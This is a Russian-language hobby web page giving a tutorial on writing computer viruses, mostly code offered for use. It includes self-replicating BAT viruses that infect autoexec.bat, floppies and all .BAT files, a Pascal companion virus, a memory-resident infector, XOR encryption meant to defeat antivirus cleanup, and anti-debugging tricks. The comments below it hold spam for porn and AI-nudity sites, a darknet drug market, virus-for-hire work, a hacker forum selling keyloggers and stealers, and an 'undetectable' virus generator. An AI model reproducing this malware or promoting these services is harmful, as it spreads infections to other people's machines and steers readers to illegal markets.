Суббота, 20.04.2024, 12:10
final fantasy
Главная | Каталог статей | Регистрация | Вход
Меню сайта
Категории раздела
как создать вирус через блокнот [2]
стихи о кс [2]
Мини-чат
Наш опрос
ваша любимая марка телефона?
Всего ответов: 56
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
Главная » Статьи » как создать вирус через блокнот

вирус
< Пишем bat-вирусы и вирусы на Pascal >

Сегодня я еще раз хочу затронуть тему простых вирусов. Речь не пойдет о замещающих вирусах, а поговорим об компаньон-вирусах, спутниках и про BAT-вирусы

BAT-вирус

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat

Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но все-таки я бы не сказал что это полноценный вирус, т.к. он лишен возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел более четкие очертания дополним его возможностью заражать другие ПК:

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

В этом примере появляется строка, которая дает возможность вирусу заражать дискеты. Смысл этого в том что если при перезагрузке ПК в дисководе будет дискета, то она будет заражена.

Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза юзеру, чтобы этого не было существует программа attrib. Преобразуем вирус:

@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы этого не произошло есть простой способ: после записи вызова надо с помощью программы attrib установить атрибут только чтение у autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо грамотнее:

@Echo off
if exist c:virus.bat goto cool
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:cool
copy %0 a:run.bat >nul

Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если он уже существует, то происходит переход к метке cool. Этот способ тоже очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat, а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы вирус был умнее, то надо использовать программу find, если вам будет не лень с ней разбираться, то вы сможете написать более сложный BAT-вирус, который будет заражать не один файл c:autoexec.bat, а все *.BAT. Пример:

@echo off%[MeTrA]%
if '%1=='In_ goto MeTrAin
if exist c:MeTrA.bat goto MeTrAru
if not exist %0 goto MeTrAen
find "MeTrA"<%0>c:MeTrA.bat
attrib +h c:MeTrA.bat
:MeTrAru
for %%t in (*.bat) do call c:MeTrA In_ %%t
goto MeTrAen
:MeTrAin
find "MeTrA"<%2>nul
if not errorlevel 1 goto MeTrAen
type c:MeTrA.bat>>%2
:MeTrAen

Смысл заражения таков: в вирусе каждая строчка имеет метку, в данном примере она MeTrA. Например, в первой строке эта метка ничего не делает, во второй строке эта метка, как бы, не является пассивной, она используется для внутренней работы вируса, а именно участвует в названии метки. При запуске вирус проверяет, есть ли файл C:METRA.BAT, если нет, то вирус создает его и с помощью программы find копирует из файла (из которого стартовал) все строки содержащие метку вируса, т.е. копирует только вирусные строки. Так, вирусные строки скопированы. Значит в файле C:METRA.BAT теперь находится копия вируса. Далее вирус ищет BAT-файлы. Чтобы не происходило повторного заражения используется все таже программа find. Допустим вирус нашел файл RUN.BAT и он оказался еще не заражен, тогда вирус вызывает файл C:METRA.BAT с такими параметрами: In_ RUN.BAT, здесь первый параметр In_ говорит вирусу, что надо заразить файл, имя которого указано во-втором параметре, в данном случае он RUN.BAT. Вирус в C:METRA.BAT заражает файл RUN.BAT простейшим способом - с помощью команды type дописывает к файлу RUN.BAT себя. Вот так файл RUN.BAT оказывается зараженным.

Компаньон-вирус

Эти вирусы не изменяют программы. Они создают для EXE-файлов COM-файлы. При запуске программы сначала запустится COM-файл с вирусом, который заразив другие файлы запустит EXE-файл. Рассмотрим пример:

{$M 2048,0,4096}
{$i-}
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; { размер вируса }
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
{ считать свое тело в буфер }
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
{ искать жертву }
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
{ проверить существует ли файл }
Assign(ft,namecom);
reset(ft);
if ioresult=0 then { если уже существует }
begin
close(ft);
goto infOk;
end;
{ создать COM-файл с вирусом }
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; {если ошибка, то пропустить}
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
{ запустим своего носителя }
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
{ если вызвали с таким параметром, то надо представитьcя }
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); { выйти и сохранить код ошибки }
End.

Вирус будет лучше если его упаковать чем-нибудь вроде PKLITE с параметром -e. Вверху есть массив - размер вируса, смотрите, чтобы значение его было не меньше EXE-файла с вирусом, а желательно чтобы и больше не было.

Вирус-спутник

Принцип заражения:

• найти EXE-файл
• найти OVR-файл с тем же именем
• если его нет, то переименовать найденный EXE-файл в OVR-файл, записаться вместо EXE-файла.

Резидентные вирусы

Из справки Паскаля:

{$M $800,0,0 } { 2K stack, no heap }
{ This program causes a click each time a key is pressed.}
uses Crt, Dos;
var
KbdIntVec : Procedure;
{$F+}
procedure Keyclick; interrupt;
begin
if Port[$60] < $80 then
{ Only click when key is pressed }
begin
Sound(5000);
Delay(1);
Nosound;
end;
inline ($9C); { PUSHF -- Push flags }
{ Call old ISR using saved vector }
KbdIntVec;
end;
{$F-}
begin
{ Insert ISR into keyboard chain }
GetIntVec($9,@@KbdIntVec);
SetIntVec($9,Addr(Keyclick));
Keep(0); { Terminate, stay resident }
end.

Теперь уберем все ошибки из этого примера и переделаем под вирус:

{$F+}
procedure Keyclick; interrupt;
begin
InfExe; { вызов процедуры заражения }
inline ($9C); { PUSHF -- Push flags }
{ Call old ISR using saved vector }
KbdIntVec;
end;
{$F-}

Здесь процедура InfExe является обычной процедурой нерезидентного вируса (заражает в текущем каталоге). А вот эти строки впишем в то место вируса, где как бы его конец.

{ Insert ISR into keyboard chain }
GetIntVec($21,@KbdIntVec);
SetIntVec($21,@Keyclick);
Keep(0); { Terminate, stay resident }

К сожалению в справке не сказано как избегать повторной установки в память, поэтому я советую чтобы вирус копировал свое тело в какой-нибудь файл на диске C:, вставлял его вызов в config.sys. Пример: install=c:vir.exe /123, здесь /123 - это такой параметр, он говорит вирусу, что тот стартовал для заражения памяти, т.е. ему не надо запускать своего носителя, а надо выполнить эти три строчки.

Можно помудрить и с другими прерываниями, но вынужден вас расстроить, вирусы такого типа, как правило, очень глючные и работают, в основном, только в многозначной среде (в эмуляции DOS виснут).

Усложнение лечения

Если у вас нет желания чтобы ваш вирус, доставшись какому-нибудь ламеру, стал жертвой его антивируса, то следует подумать об усложнении лечения.

Вирус на Паскале, как правило, заражает программы в начало, перенося старое содержимое в конец. Такими вирусами антивирусные базы пополняются автоматом (без вмешательства человека). Оно и понятно, переписать конец в начало и обрезать длину - это очень простая операция. Смысл усложнения лечения заключатся в шифровке куска своей жертвы. Т.к. кусок жертвы при переносе к конец файла находится в массиве, тогда поступаем примерно так:

for i:=1 to 777 do
begin
cc:=a1[i];
i2:=ord(cc) xor 343;
a1[i]:=chr(i2);
end;

Здесь a1 - это массив, в котором сохраняется начало жертвы; i,i2 - integer; cc - char.

В результате данной операции шифруется кусок файла-жертвы (777 байт). Т.к. операция шифровки осуществляется с помощью XOR - для расшифровки используется та же операция. Значит эту маленькую подпрограмму надо оформить в виде процедуры, которую следует прописать в процедуре заражения и в процедуре запуска своего носителя (перед запуском и после запуска). Если вы не разбираетесь в XOR, то скажу, в моем примере шифровка осуществляется с помощью ключа 343, он может быть от 1 до 65000. Можно сделать так, чтобы этот ключ менялся при заражении каждого файла, например, сделать чтобы ключ зависел от размера своего носителя или можно генерировать ключ случайным образом и помещать его где-нибудь в теле вируса или считывать несколько байт кода жертвы, получать их ord-значения и использовать как ключ. И еще, в моем примере шифровка идет от начала файла, а можно сделать определенное смещение, которое тоже чтобы зависело от чего-нибудь. Размер шифровки у меня 777, а можно сделать ее тоже случайной и т.д. Можно также защитить вирус от ламерской трассировки:

uses dos;
var
O1H , O3H , Br : Pointer;
{$F+}
procedure ReBoot; Interrupt;
begin { а это для того, чтобы нехорошие дяди не запускали Debug }
InLine($EA/
$00/
$00/
$FF/
$FF);
end;
{$F-}
{$F+}
procedure BreakOff; Interrupt; { + }
begin
{ Invisible Magic Words! }
end;
{$F-}
begin {main}
GetIntVec($01 , O1H); { подготавливаем систему }
SetIntVec($01 , @ReBoot);
GetIntVec($03 , O3H); { вешаем антитрассировщик }
SetIntVec($03 , @ReBoot);
GetIntVec($1B , Br); { заменяем вектор ^C }
SetIntVec($1B , @BreakOff);
SetCBreak(False); { и отключаем ^C }
writeln('hello');
SetIntVec($01 , O1H); { восстанавливаем захваченные векторы }
SetIntVec($03 , O3H);
SetIntVec($1B , Br);
end.

Здесь вместо фразы Hello следует вставить процедуры вируса, процедуру запуска носителя следует вставлять после строк восстановления векторов.
Категория: как создать вирус через блокнот | Добавил: spongebob (16.12.2010)
Просмотров: 28920 | Комментарии: 29 | Рейтинг: 0.0/0
Всего комментариев: 241 2 3 »
24 Henrywaipt  
0
Найдите свой идеальный вариант недвижимости в Объединенных Арабских Эмиратах. <a href=https://triumf-realty.ru>купить недвижимость в оаэ</a>- лучший сайт, на котором вы найдете все необходимое!


123

23 RobertSot  
0
Step into the future of digital creativity with

<a href=https://getporn.ai/>generate AI nudity</a>- your final destination for visual images,
created by artificial intelligence. If you're interested in AI-generated nudes,
our platform offers an unrivaled experience. Immerse yourself in the fantasy of artificial intelligence and unleash your imagination.
Our unique features, including the popular NUDE mode, allow you to undress AI models with ease and privacy.
Looking for something more? Check out our wide range of services, from nude AI generator to personalized AI companion creation.
Visit our website https://getporn.ai/ and discover the endless possibilities of AI-generated content.

Translated using DeepL.com (free version) can be done on our website <a href=https://getporn.ai/>create AI nudes</a>

123

22 PaulNorn  
0
<a href=https://pornopda.xyz/virt/sextel/14930-seks-po-telefonu-bez-registracii-new.html>Незабываемые впечатления: как познакомиться с красивыми девушками в виртуальном мире. Вирт по телефону бесплатно со свободными домашними девочками</a>!! – Искушение на расстоянии
Хотите испытать неповторимое и незабываемое удовольствие прямо сейчас? Представьте, что у вас есть возможность наслаждаться горячими и страстными моментами с самыми сексуальными и развратными партнерами, не выходя из дома. Современный мир технологий предоставляет нам эту возможность – Секс по Телефону с оплатой картой. Встречайте новую эру интимных удовольствий!
Наши услуги <a href=https://pornopda.xyz/virt/sextel/23458-seks-po-telefonu-s-foto-devushki-new.html>Секс по телефону безплатно</a> сведут вас с идеальным партнером, который целиком посвятит вас своим интимным фантазиям и желаниям. Наша линия развлечений обеспечит вас самыми сексуальными голосами из самых разных уголков мира. Впишитесь в свою ролевую игру, где вы сами можете стать главным героем с <a href=https://pornopda.xyz/pornopda/hardsex/10712-staruyu-nemku-vyebali-dva-silnyh-muzhika.html>Белый горячий Груз в Сливочно-Черную киску, показывает сперму видео с черной женщиной</a>, в своей эротической истории.
Поднимите свое удовольствие на новую высоту с нашим мобильным пристанищем эротики! Погрузитесь в праздник чувств с нашей коллекцией провокационного контента и насладитесь тщательно подобранной подборкой игрушек для взрослых. Ваше удовлетворение, просто прикосновение.

Секс по Телефону бесплатно - это безопасное и конфиденциальное решение для тех, кто ищет новых ощущений и разнообразных сексуальных игр. Наша команда профессионалов предложит вам максимальную степень эротического удовлетворения. Мы уважаем вашу частную жизнь и гарантируем полную анонимность наших услуг. Никаких регистраций или личных данных – просто подключайтесь и наслаждайтесь!
Просто наберите наш номер <b>Секс область номер телефон девушка секс : секс по телефону Россия <a href="tel:+78095056850">+7-809-505-6850</a>. Можно позвонить с мобильного и городского телефона, а также заказать </b> <a href=https://pornopda.xyz/virt/sexcard/>предоплату</a>!
Гипнотизирующие голоса, полные страсти и соблазна, поделятся с вами самыми интимными тайнами. Вы сами выбираете своего партнера нашего сервиса и можете наслаждаться общением из комфорта своего дома. Мы готовы предоставить вам широкий выбор соблазнительных и роскошных голосов, чтобы удовлетворить самые скрытые желания и фантазии.
Приготовьтесь к эротическому приключению на ладони! Изучите нашу тщательно подобранную подборку соблазнительных изображений и откройте для себя мир интимных наслаждений в нашем интернет-магазине с игрушками <a href=https://pornopda.xyz/shop/seks_igrushki/straponi/24500-strapon-gigant-na-kreplenii-lovetoy-telesnyj-24-5.html>Женские Духи Desire №18 N.Ricci Love in Paris мини 5 мл.</a>. Там, где удовольствие не знает границ – ваш партнер всегда ждет новый опыт и новые интимные подарки!
Секс по по мобильному телефону – это революция в сфере интимных развлечений. Мы предлагаем не только возможность наслаждаться горячими голосами наших моделей, но и добавить некую составляющую таинственности и загадочности вашим фантазиям. Вашей сексуальной жизни не хватает страсти? Наши профессионалы знают, как ее вернуть!
Главное преимущество самый дешевый секс по телефону в том, что вы всегда можете найти время для удовольствия. Независимо от того, где вы находитесь, наш сервис доступен в любой точке мира. Просто возьмите телефон и подключитесь к десяткам горячих голосов, ждущих вашего звонка.
Испытайте эротическое блаженство на маленьком экране в нашем раю, удобном для мобильных разговоров о сексе в приятной обстановке! Погрузитесь в царство желаний с нашим увлекательным контентом, а также исследуйте наш бутик товаров, доставляющих удовольствие с коллекцией новых секс игрушек <a href=https://pornopda.xyz/shop/eroticheskoe_bele/trusiki/26540-sorochka-i-trusiki-obsessive-lovica-s-m.html>Большой фаллоимитатор Bombshell Bunker Buster – серый</a>! Удовлетворение гарантировано, у вас под рукой. Расслабиться, снять напряжение в теле и стресс нужно всем. Мы поможем в этом, заходите и подписывайтесь на моделей и новые категории товаров.

Посетите нас, мы всегда рады гостям!

21 Henrywaipt  
0
Ищете безопасность при онлайн-покупках? Kraken гарантирует безопасность каждой транзакции. Регистрируйтесь на <a href=https://xn--krken4-x0a.com>kraken site</a> и наслаждайтесь контролем над вашим аккаунтом. Чтобы зайти на сайт безопасно, воспользуйтесь браузером Tor или подключитесь через VPN. Выбирайте город, чтобы забрать свои покупки практически в любом месте. На <a href=https://xn--krken4-x0a.com>кракен вход</a>, ваша безопасность - наш приоритет.

кракен тор:https://xn--krken4-x0a.com

20 Strateg19  
0
Между прочим, создание вирусов - подсудное дело! Шуточные в это не входят, но тем не менее, из-за некоторых особо "умных" теперь невозможно откомпилировать PascalABC.Net в .ехе, не отключив антивирус! Да и запустить тоже невозможно!!! Вирусов итак полно, а вы хочете ещё больше заполонить ими Интернет! БУДЬТЕ, Ё-МОЁ, ДОБРОСОВЕСТНЫМИ ЛЮДЬМИ! ЛУЧШЕ АНТИВИРУСЫ ДЕЛАЙТЕ, А НЕ ХРЕНЬ ВСЯКУЮ, КОТОРАЯ ПРИНОСИТ ВРЕД!!! ТЕМ БОЛЕЕ КОГДА-НИБУДЬ ЭТИ ЖЕ ВИРУСЫ "СОЖРУТ" ВАШ КОМП!

19 Диана  
0
Всем привет
Я Диана,Создам вирус на заказ
Могу делать многое
Но главное чтобы заказчику было 18+
Так как если вирус попадёт к малышне то они начнут заражать компы всем подряд
Мой skype---diana_skype67
Добовляйтесь Буду рада помочь :=)

18 Trava163  
0
сейчас все вирусы пишутся на С++

17 InfoHack.Ru  
0
Приглашаем Вас зарегистрироваться на новом закрытом хакерском форуме InfoHack.Ru на котором регулярно выкладывается приватный софт (Crypters,joiners,keyloggers,stealers и другой софт), логи, видео-уроки, полезные статьи, а так же множество другой не менее полезной информации для хакера.
Спишите зарегистрироваться пока открыта регистрация !!!
Форум расположен по адресу: http://infohack.ru

16 Сергей  
0
Недавно вышел новый генератор вирусов который не палится антивирусами!!!
http://depositfiles.com/files/hwb9gd2qd

15 LoKo  
0
Какие нафиг вирусы? Лучше регайтесь тут http://fropee.com/?ref=1323046 и зарабатывайте 42 руб. в день. Это реально не развод, я сам не люблю такие вещи. Это реальный заработок, а не вирусы в блокнотике, которые палятся тыщу раз.

1-10 11-20 21-24
Имя *:
Email *:
Код *:
Поиск
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Copyright MyCorp © 2024Бесплатный хостинг uCoz